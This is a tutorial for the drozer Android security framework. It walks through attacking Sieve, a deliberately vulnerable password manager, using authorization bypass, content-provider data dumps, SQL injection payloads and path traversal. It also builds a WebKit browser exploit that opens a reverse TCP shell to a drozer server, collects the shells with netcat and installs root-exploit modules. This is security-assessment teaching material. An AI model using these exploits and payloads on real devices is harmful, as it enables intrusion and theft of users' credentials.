Building from Source
git clone https://github.com/mwrlabs/drozer/ cd drozer python setup.py build python setup.py install
Installing the Agent
Drozer can be installed using Android Debug Bridge (adb).
$ adb install drozer.apk
Starting a Session
If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:
$ adb forward tcp:31415 tcp:31415
Now, launch the Agent, select the “Embedded Server” option and tap “Enable” to start the server. You should see a notification that the server has started.
Then, on your PC, connect using the drozer Console:
$ drozer console connect
If using a real device, the IP address of the device on the network must be specified:
$ drozer console connect --server 192.168.0.10
You should be presented with a drozer command prompt:
selecting f75640f67144d9a3 (unknown sdk 4.1.1) dz>
The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.
|run||Executes a drozer module|
|list||Show a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.|
|shell||Start an interactive Linux shell on the device, in the context of the Agent process.|
|cd||Mounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.|
|clean||Remove temporary files stored by drozer on the Android device.|
|contributors||Displays a list of people who have contributed to the drozer framework and modules in use on your system.|
|echo||Print text to the console.|
|exit||Terminate the drozer session.|
|help||Display help about a particular command or module.|
|load||Load a file containing drozer commands, and execute them in sequence.|
|module||Find and install additional drozer modules from the Internet.|
|permissions||Display a list of the permissions granted to the drozer Agent.|
|set||Store a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.|
|unset||Remove a named variable that drozer passes to any Linux shells that it spawns.|
Using Drozer for Application Security Assessments
This section guides you through how to perform a limited section of an assessment of a vulnerable app. The name of the app being used is Sieve, which can be downloaded from the MWR Labs website.
Sieve is a small Password Manager app created to showcase some of the common vulnerabilities found in Android applications.
Before you start this tutorial, install Sieve onto an Android emulator and create a few sets of credentials.
Retrieving Package Information
The first step in assessing Sieve is to find it on the Android device. Apps installed on an Android device are uniquely identified by their ‘package name’. We can use the
app.package.list command to find the identifier for Sieve:
dz> run app.package.list -f sieve com.mwr.example.sieve
We can ask drozer to provide some basic information about the package using the
dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS
This shows us a number of details about the app, including the version, where the app keeps its data on the device, where it is installed and a number of details about the permissions allowed to the app.
Identify the Attack Surface
For the sake of this tutorial, we will only consider vulnerabilities exposed through Android’s built-in mechanism for Inter-Process Communication (IPC). These vulnerabilities typically result in the leakage of sensitive data to other apps installed on the same device.
We can ask drozer to report on Sieve’s attack surface:
dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
This shows that we have a number of potential vectors. The app ‘exports’ (makes accessible to other apps) a number of activities (screens used by the app), content providers (database objects) and services (background workers).
We also note that the service is debuggable, which means that we can attach a debugger to the process, using adb, and step through the code.
We can drill deeper into this attack surface by using some more specific commands. For instance, we can ask which activities are exported by Sieve:
dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList
One of these we expect (MainLoginActivity) because this is the screen displayed when we first launch the application.
The other two are less expected: in particular, the PWList activity. Since this activity is exported and does not require any permission, we can ask drozer to launch it:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
This formulates an appropriate Intent in the background, and delivers it to the system through the
startActivity call. Sure enough, we have successfully bypassed the authorization and are presented with a list of the user’s credentials:
app.activity.start it is possible to build a much more complex intent. As with all drozer modules, you can request more usage information:
dz> help app.activity.start usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [-- flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]
Reading from Content Providers
Next we can gather some more information about the content providers exported by the app. Once again we have a simple command available to request additional information:
dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False
This shows the two exported content providers that the attack surface alluded to in Section 3.3. It confirms that these content providers do not require any particular permission to interact with them, except for the
/Keys path in the DBContentProvider.
Database-backed Content Providers (Data Leakage)
It is a fairly safe assumption that a content provider called ‘DBContentProvider’ will have some form of database in its backend. However, without knowing how this content provider is organised, we will have a hard time extracting any information.
We can reconstruct part of the content URIs to access the DBContentProvider, because we know that they must begin with “content://”. However, we cannot know all of the path components that will be accepted by the provider.
Fortunately, Android apps tend to give away hints about the content URIs. For instance, in the output of the
app.provider.info command we see that “/Keys” probably exists as a path, although we cannot query it without the READ_KEYS permission.
drozer provides a scanner module that brings together various ways to guess paths and divine a list of accessible content URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr. example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
We can now use other drozer modules to retrieve information from those content URIs, or even modify the data in the database:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded) email: email@example.com
Once again we have defeated the app’s security and retrieved a list of usernames from the app. In this example, drozer has decided to base64 encode the password. This indicates that field contains a binary blob that otherwise could not be represented in the console.
Database-backed Content Providers (SQL Injection)
The Android platform promotes the use of SQLite databases for storing user data. Since these databases use SQL, it should come as no surprise that they can be vulnerable to SQL injection. It is simple to test for SQL injection by manipulating the projection and selection fields that are passed to the content provider:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
Android returns a very verbose error message, showing the entire query that it tried to execute. We can fully exploit this vulnerability to list all tables in the database:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | | table | Key | Key | 5 | CREATE TABLE ... |
or to query otherwise protected tables:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" | Password | pin | | thisismypassword | 9876 |
File System-backed Content Providers
A content provider can provide access to the underlying file system. This allows apps to share files, where the Android sandbox would otherwise prevent it. Since we can reasonably assume that FileBackupProvider is a file system-backed content provider and that the path component represents the location of the file we want to open, we can easily guess the content URIs for this and use a drozer module to read the files:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost
Reading the /etc/hosts file is not a big problem (it is world readable anyway) but having discovered the path to the application’s data directory in Section 3.2 we can go after more sensitive information:
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db Written 24576 bytes
This has copied the application’s database from the device to the local machine, where it can be browsed with sqlite to extract not only the user’s encrypted passwords, but also their master password.
Content Provider Vulnerabilities
We have seen that content providers can be vulnerable to both SQL injection and directory traversal. drozer offers modules to automatically test for simple cases of these vulnerabilities:
dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider
Interacting with Services
So far we have almost compromised Sieve. We have extracted th e user’s master password, and some cipher text pertaining to their service passwords. This is good, but we can fully compromise Sieve through the services that it exports. Way back in Section 3.3, we identified that Sieve exported two services. As with ac tivities and content providers, we can ask for a little more detail:
dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null
Once again, these services are exported to all other apps, with no permission required to access them. Since we are trying to decrypt passwords, CryptoService looks interesting.
It is left as an exercise to the reader to fully exploit Sieve’s CryptoService. It would typically involve decompiling the app to determine the protocol, and using ‘app.service.send’ or writing a custom drozer module to send messages to the service.
Exploitation features in drozer
drozer offers features to help deploy a drozer agent onto a remote device, through means of exploiting applications on the device or performing attacks that involve a degree of social engineering. drozer provides a framework for sharing of exploits and reuse of high quality payloads. It provides modules that allow the generationof shell code for use in exploits in order to help gain access to sensitive data on the remotely compromised device.
Up until now you’ve probably been running drozer in “direct mode” where you run the agent’s embedded server and connect directly to it. This is handy for devices connected via adb, or on your local Wi-Fi network. drozer supports another mode of operation: “infrastructure mode”. In infrastructure mode, you run a drozer server either on your network or on the Internet that provides a rendezvous point for your consoles and agents, and routes sessions between them. Since infrastructure mode establishes an outbound connection from the device, it is also useful for situations where you do not know the IP address of the device, or you need to traverse NAT or firewalls.
Running a drozer server
To run a drozer server, you need a machine with drozer installed that is accessible by both the mobile device and the PC running your console. Then simply execute:
$ drozer server start
Connecting an Agent
To cause your agent to connect to the server, you must add its details as an ‘Endpoint’. On the device:
- Start the drozer Agent, press the menu button, and choose ‘Settings’.
- Select ‘New Endpoint’.
- Set the ‘Host’ to the hostname or IP address of your server.
- Set the ‘Port’ to the port your server is running on, unless it is the standard
- Press ‘Save’ (you may need to press the menu button on older devices). If you navigate back to the main screen, you should see your endpoint under the drozer logo. Select it and enable it in the same way as you would start the embedded server.
Connecting a console
You are now ready to connect your console to the server. First, you will need to check which, if any, devices are connected:
$ drozer console devices --server myserver:31415 List of Bound Devices Device ID Manufacturer Model Software 67dcdbacd1ea6b60 unknown sdk 4.1.2 67dcdbacd1ea6b61 unknown sdk 4.2.0
Where “myserver” is the hostname or IP address of your drozer server. This shows that we have two devices connected, running different version of Jellybean. You can specify which to use by giving its Device ID when starting the console:
$ drozer console connect 67dcdbacd1ea6b60 --server myserver:31415 ... dz>
drozer Server and Exploitation
The drozer server is crucial for exploitation because it acts as many servers in one:
- drozerp: if a drozer agent connects, it uses drozer’s custom binary protocol
- HTTP: if a web browser connects, it serves resources over HTTP
- bytestream: if a particular byte is sent at the beginning of a transmission, it streams a resource in response
- shell server: if a ‘S’ (0x53) is sent as the first byte, the connection is cached as a bind shell drozer makes use of this server throughout exploitation to host the resources required to successfully complete the exploit and deploy an agent to a device and to receive connections from compromised devices.
drozer exploit templates and shellcode are special types of drozer modules. They are combined by the
drozer exploit command to create a full exploit:
$ drozer exploit build EXPLOIT SHELLCODE [OPTIONS]
The available exploits can be listed by running:
$ drozer exploit list exploit.remote.webkit.nanparse Webkit Invalid NaN Parsing (CVE-2010-1807) ...
Likewise, to see available shellcode:
$ drozer shellcode list shell.reverse_tcp.armeabi Establish a reverse TCP Shell (ARMEABI) weasel.reverse_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)
Putting this together, we can build an exploit for CVE-2010-1807, that uses weasel (MWR’s advanced payload) to gain a foothold on an old Android 2.1 device:
$ drozer exploit build exploit.remote.webkit.nanparse –-payload weasel.reverse_tcp.armeabi --server 10.0.2.2:31415 --push-server 127.0.0.1:31415 --resource /home.html Uploading weasel to /weasel and W... [ OK ] Uploading the Agent to /agent.apk and A... [ OK ] Uploading Exploit to /home.html... [ OK ] Done. The exploit is available at: http://10.0.2.2:31415/home.html
Point a vulnerable device at the exploit address in its web browser, and shortly afterwards you will have a connection back from the exploit:
$ drozer console devices List of Bound Devices Device ID Manufacturer Model Software 9265590285227392218 unknown unknown unknown
The abnormally long Device ID, and ‘unknown’ in all other fields, suggests that this is a lightweight agent, and we haven’t successfully installed a full drozer agent.
Previously, we saw how weasel was able to deploy a lightweight agent onto a vulnerable device. weasel is drozer’s advanced payload to automatically gain maximum leverage on a compromised device. Here’s what happens:
- The vulnerable device is exploited (in some way).
- The exploit runs shell code that establishes a reverse TCP shell connection to the drozer server.
- The payload sends a ‘W’ (0x57) to the drozer server to indicate that it would like the weasel stager sequence to be executed.
- The drozer server delivers shell commands to install and start weasel.
- weasel tries a number of techniques to run a drozer agent.
Depending on what weasel was able to do to escalate privileges, you will receive a connection from either a full agent, a limited agent or just a normal reverse shell.
If weasel was able to install a package, you will receive a connection from a full drozer agent. This is identical to the agent that you will have been using so far, but does not display a GUI to the device’s owner.
If weasel was not able to install a package, it may still be able to run a version of the drozer agent. This is the full agent, but does not have access to any ‘Application Context’. This prevents it from interacting directly with parts of the runtime, such as the Package Manager so you cannot interact with other packages or their IPC endpoints. If you are given a limited agent, drozer will automatically hide the modules it is unable to run from the ‘list’ command.
If drozer was not able to execute even a limited agent, it will provide a normal Linux shell to the drozer server. You can collect these shells by connecting to the server with netcat, and sending a single line that says ‘COLLECT’:
$ nc myserver 31415 COLLECT drozer Shell Server ------------------- There is 1 shell waiting... 1) 127.0.0.1:54214 Shell: 1 /system/bin/id uid=10058(u0_a58) gid=10058(u0_a58) groups=1028(sdcard_r),3003(inet)
Out of the box, drozer provides modules to investigate various aspects of the Android platform, and a few remote exploits. You can extend drozer’s functionality by downloading and installing additional modules
The official drozer module repository is hosted alongside the main project on Github. This is automatically set up in your copy of drozer. You can search for modules using the
dz> module search root metall0id.root.cmdclient metall0id.root.exynosmem.exynosmem metall0id.root.scanner_check metall0id.root.ztesyncagent
For more information about a module, pass the
dz> module search cmdclient -d metall0id.root.cmdclient Exploit the setuid-root binary at /system/bin/cmdclient on certain devices to gain a root shell. Command injection vulnerabilities exist in the parsing mechanisms of the various input arguments. This exploit has been reported to work on the Acer Iconia, Motorola XYBoard and Motorola Xoom FE.
You install modules using the
dz> module install cmdclient Processing metall0id.root.cmdclient... Done. Successfully installed 1 modules, 0 already installed
This will install any module that matches your query. Newly installed modules are dynamically loaded into your console and are available for immediate use.